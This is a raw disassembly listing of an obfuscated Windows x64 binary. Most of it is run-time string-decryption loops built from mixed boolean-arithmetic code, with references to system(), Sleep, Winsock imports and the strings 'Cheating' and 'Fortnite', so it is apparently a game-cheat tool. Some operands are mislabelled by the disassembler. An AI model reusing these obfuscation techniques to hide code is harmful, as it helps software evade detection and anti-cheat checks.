add r15b, byte [rbp + r9 + 0x1b0]
add r15b, r10b
jmp 0x140107283
movabs rcx, 0x7209927eca7cf76
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0x1b0]
lea r15d, [r10 + rcx]
sub r15b, 0x3a
movabs rcx, 0xa90182732b43f5a5
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x7d
add cl, r10b
movzx eax, cl
mov byte [rbp + r9 + 0x1b0], al
inc r8
add rax, r8
sub r9, rax
jmp 0x14010711a
movabs rdx, 0x6581b7e00c9184cb
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
add r15b, 0x73
add r15b, dl
movabs rdx, 0x4ae26bbe69e01bd4
add rdx, r9
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r9 + 0x1b0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
movzx eax, byte [rbp + r9 + 0x1b0]
add rax, r8
add r9, rax
inc r9
jmp 0x1401065e3
movabs rcx, 0xddfe12b31220ec0f
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r15d, [rcx + r10]
sub r15b, 0x69
jmp 0x1401072b1
movabs rdx, 0x567a6d8617b05353
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
sub r15b, 0x45
jmp 0x140107283
movabs rcx, 0xcef6c8591d3fba97
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r15d, [rcx + r10]
sub r15b, 0x21
inc r8
dec r9
inc r9
jmp 0x1401065e3
movabs rdx, 0x8b34f5c2a0076e39
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
add r15b, 0x71
add r15b, dl
movabs rcx, 0x217ddd4630d35ce9
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x5f
add cl, r10b
mov byte [rbp + r9 + 0x1b0], cl
inc r8
dec r9
inc r9
jmp 0x1401065e3
movabs rcx, 0x7c2dab68ab263cc1
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r15d, [rcx + r10]
sub r15b, 0x47
dec r9
inc r9
jmp 0x1401065e3
movabs rdx, 0x386bd8d22dedf063
add rdx, r9
movzx eax, r10b
and al, dl
add al, al
movzx r15d, r10b
sub r15b, al
add r15b, 0x4b
add r15b, dl
movabs rcx, 0x653fafdcae0ba947
add rcx, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0xf
add cl, r10b
add cl, r15b
mov byte [rbp + r9 + 0x1b0], cl
add rbx, r8
movzx eax, r15b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
inc r9
jmp 0x1401065e3
movabs rcx, 0xe5a2bbe1bbd4728d
add rcx, r9
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r15d, [rdx + rcx]
add r15b, 0x25
movzx eax, byte [rbp + r9 + 0x1b0]
add rax, r8
add r9, rax
inc r9
jmp 0x1401065e3
movabs rcx, 0x19d93417871fd66b
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r15d, [rcx + r10]
add r15b, 0x13
jmp 0x1401065e0
movabs rcx, 0xd617618109e78a0d
add rcx, r9
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r15d, [rcx + r10]
sub r15b, 0x5b
jmp 0x1401065d0
lea rdx, [rbp + 0x169a944]
jmp 0x140107362
lea rdx, [rbp + 0x85cf73]
jmp 0x140107362
lea rdx, [rbp + 0x1b0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x1a0], 0
mov qword [rbp + 0x1a8], 0
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140107390
lea rcx, [rbp + 0x190]
call fcn.140047180
lea rcx, [rbp + 0x190]
call fcn.1400e05a0
cmp byte [0x140437460], 0
je 0x140108fa4
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp + 0x28]
call fcn.1400438e0
lea rcx, [0x140276940]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140437790]
call fcn.1400c9be0
test al, al
je 0x1400fce80
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x250]
mov qword [rbp + 0x540], rax
lea rdx, str.Cheating
lea rcx, [rbp + 0x250]
call fcn.140046ad0
mov rbx, rax
lea rdx, str.Fortnite
lea rcx, [rbp + 0x270]
call fcn.140046ad0
nop
mov rdx, rbx
mov rcx, rax
call fcn.1401181b0
call fcn.1400f0e90
xor eax, eax
mov rbx, qword [rsp + 0x638]
add rsp, 0x5f0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
cmp byte [0x140437460], 0
je 0x140108fa4
mov byte [rbp + 0x1f0], Ordinal_79
mov byte [rbp + 0x1f1], 0x7b
mov byte [rbp + 0x1f2], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x1f3], 0x79
mov byte [rbp + 0x1f4], WSAGetLastError
mov byte [rbp + 0x1f5], 0x7f
mov byte [rbp + 0x1f6], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x1f7], 0x5b
mov byte [rbp + 0x1f8], 0x7f
mov byte [rbp + 0x1f9], 0x62
mov byte [rbp + 0x1fa], 0x60
mov byte [rbp + 0x1fb], 0x7c
mov byte [rbp + 0x1fc], 0x78
mov byte [rbp + 0x1fd], 0x60
mov byte [rbp + 0x1fe], Ordinal_46
mov byte [rbp + 0x1ff], 0x53
mov byte [rbp + 0x200], __WSAFDIsSet
mov byte [rbp + 0x201], gethostname
mov byte [rbp + 0x202], reloc.WS2_32.dll_sendto
xor eax, eax
mov qword [rbp + 0x203], rax
mov dword [rbp + 0x20b], eax
mov byte [rbp + 0x20f], al
movabs rsi, 0xc388c0a38a8be15
movabs r12, 0x7a7c98f44bd74601
movabs r14, 0x81a70ca52de3028b
movabs r15, 0x8caddabc96347689
movabs r13, 0x97b4a8d3fe85ea87
movzx edi, byte [rbp + 0x530]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x20
jae 0x1401081e0
movzx r9d, byte [rbp + r10 + 0x1f0]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x1401081d7
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1401075ac
lea rcx, [r10 + r12]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
sub dil, 7
jmp 0x1401075d0
je 0x14010814e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1401080a4
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14010804e
nop dword [rax]
cmp r8, r10
ja 0x1401081ce
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x140107601
lea rdx, [r10 + rsi]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x6d
add dil, dl
jmp 0x140107630
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14010802c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140108001
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140107fcb
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140107c34
nop dword [rax]
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140107c0f
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140107be1
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140107bb6
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140107b8e
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140107b69
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140107b45
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140107b20
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140107af8
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140107ac1
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x200]
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x1401081a9
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140108184
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14010781e
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x1401077ff
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x1401077e0
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140107a63
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140107a09
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1401079b7
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140107988
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140107640
lea rbx, [r8 + 0x200]
lea r8, [rbx + 0x64]
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140107952
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14010792e
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14010790a
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x1401078e5
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x1401078c0
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140107896
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140107865
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14010783d
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140107640
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x40]
jmp 0x140107640
lea rdx, [r10 + r14]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x33
add dil, dl
jmp 0x140107630
lea rdx, [r10 + r15]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x41
add dil, dl
jmp 0x1401075d0
lea rdx, [r10 + r13]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x4f
add dil, dl
jmp 0x140107576
movabs rdx, 0x61c46051c545f0a8
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140108071
movabs rdx, 0x6ccb2e692d9764a6
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140107563
movabs rcx, 0x77d1fc8095e8d8a4
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
dec r10
inc r10
jmp 0x140107563
movabs rcx, 0x8ddf98af668bc0a0
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x60
jmp 0x140107f7f
movabs rcx, 0x98e666c6cedd349e
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x52
jmp 0x140107f82
movabs rcx, 0xa3ed34de372ea89c
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
jmp 0x1401080ca
movabs rcx, 0xaef402f59f801c9a
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
jmp 0x1401080fe
movabs rcx, 0xb9fad10d07d19098
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
movzx eax, byte [rbp + r10 + 0x1f0]
add rax, r8
add r10, rax
inc r10
jmp 0x140107563
movabs rcx, 0x558bd4478c9d3293
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 5
mov byte [rbp + r10 + 0x1f0], dil
inc r10
jmp 0x140107563
movabs rdx, 0x6092a25ef4eea691
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 9
add dil, dl
cmp r8, 6
jb 0x1401079a7
movabs rcx, 0xcda4f15637c5e466
add rcx, r10
movzx eax, cl
and al, r9b
mov edx, reloc.WLDAP32.dll_Ordinal_27
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x140108071
movabs rcx, 0x6b9970765d401a8f
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x17
cmp rbx, 9
jae 0x140107f2a
lea rax, [r8 + 6]
cmp rbx, rax
jbe 0x140107e8a
movabs rcx, 0x3be8fe404af46c52
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
jmp 0x1401079da
movabs rcx, 0x76a03e8dc5918e8d
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x25
lea rax, [r8 + rbx]
cmp rax, 0x10
je 0x140107f9b
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x140107d67
movabs rcx, 0x2fb07236124bae3d
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x55
jmp 0x140107a28
movabs rcx, 0x4953483d53f4747e
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x72
movzx eax, byte [rbp + r10 + 0x1f0]
add rax, r8
add r10, rax
inc r10
jmp 0x140107563
movabs rdx, 0x545a1654bc45e87c
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x64
add dil, dl
jmp 0x1401080fe
movabs rdx, 0x5f60e46c24975c7a
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x56
jmp 0x1401080c7
movabs rcx, 0x6a67b2838ce8d078
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
jmp 0x140107f82
movabs rcx, 0x756e809af53a4476
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3a
jmp 0x140107f7f
movabs rdx, 0x80754eb25d8bb874
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2c
add dil, dl
jmp 0x140107f55
movabs rcx, 0x8b7c1cc9c5dd2c72
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1e
dec r10
inc r10
jmp 0x140107563
movabs rcx, 0x9682eae12e2ea070
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x10
inc r8
dec r10
inc r10
jmp 0x140107563
movabs rdx, 0xa189b8f89680146e
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 2
jmp 0x14010806e
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x140107c5b
lea rcx, [r10 + r12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 7
jmp 0x140107a82
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140107c9a
movabs rcx, 0x1871181471517c2a
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x26
movzx eax, byte [rbp + r10 + 0x1f0]
add rax, r8
add r10, rax
inc r10
jmp 0x140107563
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140107cc7
movabs rcx, 0xf75cadce385d2030
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x140107f82
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140107cf8
movabs rdx, 0xe14f119f67ba3834
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6c
add dil, dl
jmp 0x140107f55
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140107d32
movabs rdx, 0xcb41757097175038
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140107563
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140107a82
movabs rdx, 0xc03aa7592ec5dc3a
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140108071
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140107d94
movabs rcx, 0x24a9a41ea9fa3a3f
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x47
jmp 0x140108071
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140107dc8
movabs rcx, 0xe9c07efd9575243
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x2b
dec r10
inc r10
jmp 0x140107563
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140107df9
movabs rdx, 0x39539d87105de45
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x1d
add dil, dl
jmp 0x140107f55
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140107e27
movabs rcx, 0xf88e6bc108b46a47
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0xf
jmp 0x140107f7f
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140107e55
movabs rdx, 0xe280cf923811824b
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xd
jmp 0x1401080c7
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140107a28
movabs rdx, 0xd77a017acfc00e4d
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1b
add dil, dl
jmp 0x1401080fe
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140107eca
movabs rcx, 0x30e23028e2a2f854
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x4c
movzx eax, byte [rbp + r10 + 0x1f0]
add rax, r8
add r10, rax
inc r10
jmp 0x140107563
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140107ef8
movabs rdx, 0x1ad493fa12001058
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x68
jmp 0x1401080c7
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1401079da
movabs rdx, 0xf9c029b3d90bb45e
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140107f55
movabs rdx, 0xc29e233ecf747068
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r10 + 0x1f0]
add dil, dl
add dil, r9b
movabs rcx, 0x3d1abc331b4bb669
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
add r9b, 0x21
add r9b, dil
add r9b, cl
mov byte [rbp + r10 + 0x1f0], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140107563
movabs rdx, 0xb79755276722fc6a
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0x1f0]
add dil, dl
add dil, r9b
jmp 0x1401080ca
movabs rcx, 0xa8fb4d378dcbaa27
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x11
movzx eax, byte [rbp + r10 + 0x1f0]
add rax, r8
add r10, rax
inc r10
jmp 0x140107563
movabs rcx, 0xeb2421c3ffb4621b
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x43
dec r10
inc r10
jmp 0x140107563
movabs rdx, 0x131bdf2d0574a17
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x5f
jmp 0x14010806e
movabs rdx, 0x173f5a21a0fa3213
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x7b
add dil, dl
movabs rcx, 0x48218a4a839d2a67
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, 0x2f
add cl, r9b
mov byte [rbp + r10 + 0x1f0], cl
inc r8
dec r10
inc r10
jmp 0x140107563
mov r9, r11
movabs rdx, 0x59682eae12e2ea07
add rdx, r10
movzx eax, dl
and al, r11b
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x31
add dil, dl
movabs rdx, 0x3213ee1bb2fa426b
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x13
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x1f0], al
inc r8
add rax, r8
sub r10, rax
movabs rdx, 0xac90870ffed1886c
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x1f0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x1f0]
add rax, r8
add r10, rax
inc r10
jmp 0x140107563
movabs rcx, 0x6f75cadce385d203
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x15
movzx eax, byte [rbp + r10 + 0x1f0]
add rax, r8
add r10, rax
inc r10
jmp 0x140107563
movabs rcx, 0xa2bb76eb66d75e85
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x5d
jmp 0x140107560
movabs rcx, 0xadc24502cf28d283
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x6b
jmp 0x140107545
lea rdx, [rbp + 0x1630a9c]
jmp 0x1401081e7
lea rdx, [rbp + 0xfa509d]
jmp 0x1401081e7
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x1d0]
call fcn.140046ad0
mov rcx, rax
call fcn.1400e07a0
cmp byte [0x140437460], 0
je 0x140108fa4
mov byte [rbp + 0x230], 0xb2
mov byte [rbp + 0x231], WSASetLastError
mov byte [rbp + 0x232], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x233], 0x9c
mov byte [rbp + 0x234], 0xfa
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x235], xmm0
mov dword [rbp + 0x245], eax
movabs rsi, 0x46036ca1267a4b4b
movabs r12, 0xd29272e31a3695df
movabs r14, 0x5584614f3ba36015
movabs r15, 0xb05f7b8907363457
movabs r13, 0xb3a95c2d2c90899
movzx edi, byte [rbp + 0x530]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x19
jae 0x140108f66
movzx r9d, byte [rbp + r10 + 0x230]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x140108f5d
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1401082dc
lea rcx, [r10 + r12]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
sub dil, 0x19
jmp 0x140108316
je 0x140108ed5
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140108e2e
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140108df3
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140108dc9
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140108d77
cmp r8, r10
ja 0x140108f54
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x140108340
lea rcx, [r10 + rsi]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xd
jmp 0x140108380
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140108d56
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140108d29
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140108d04
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140108cdf
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x1401089ba
nop dword [rax]
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140108992
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140108961
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140108936
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140108912
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1401088ea
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x1401088c2
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14010889a
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140108872
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14010883c
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140108390
lea rbx, [r8 + 3]
lea r8, [rbx + 6]
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140108f30
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140108f0c
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140108576
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14010855b
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14010853c
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1401087de
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140108784
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140108733
lea rcx, [r8 + 5]
cmp rbx, rcx
jb 0x140108704
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140108390
mov rbx, rcx
lea r8, [rcx + 9]
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x1401086ca
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x1401086a2
lea rax, [r8 + 0x42]
cmp rcx, rax
ja 0x14010867e
lea rax, [r8 + 0x1000]
cmp rcx, rax
ja 0x14010865a
lea rax, [r8 + 0x200]
cmp rcx, rax
ja 0x140108632
lea rax, [r8 + 0x41]
cmp rcx, rax
ja 0x140108610
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x1401085e6
lea rax, [r8 + 1]
cmp rcx, rax
ja 0x1401085b9
lea rcx, [r8 + 8]
cmp rbx, rcx
ja 0x140108591
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140108390
mov rbx, rcx
lea r8, [rcx + 0x10]
jmp 0x140108390
lea rdx, [r10 + r14]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x6d
add dil, dl
jmp 0x140108380
lea rcx, [r10 + r15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x61
jmp 0x140108316
lea rcx, [r10 + r13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2f
jmp 0x1401082a6
movabs rdx, 0x301b650933d25a58
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x68
add dil, dl
jmp 0x140108d96
movabs rcx, 0x8af67f42ff652e9a
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
inc r8
dec r10
inc r10
jmp 0x140108293
movabs rcx, 0xe5d1997ccaf802dc
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
dec r10
inc r10
jmp 0x140108293
movabs rdx, 0x40acb3b6968ad71e
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140108c80
movabs rdx, 0x9b87cdf0621dab60
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140108e12
movabs rcx, 0xf662e82a2db07fa2
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6e
jmp 0x140108e15
movabs rcx, 0x513e0263f94353e4
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
jmp 0x140108e54
movabs rdx, 0xac191c9dc4d62826
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xa
add dil, dl
jmp 0x140108e85
movabs rdx, 0x6f436d79068fc68
add rdx, r10
movzx eax, dl
and al, r9b
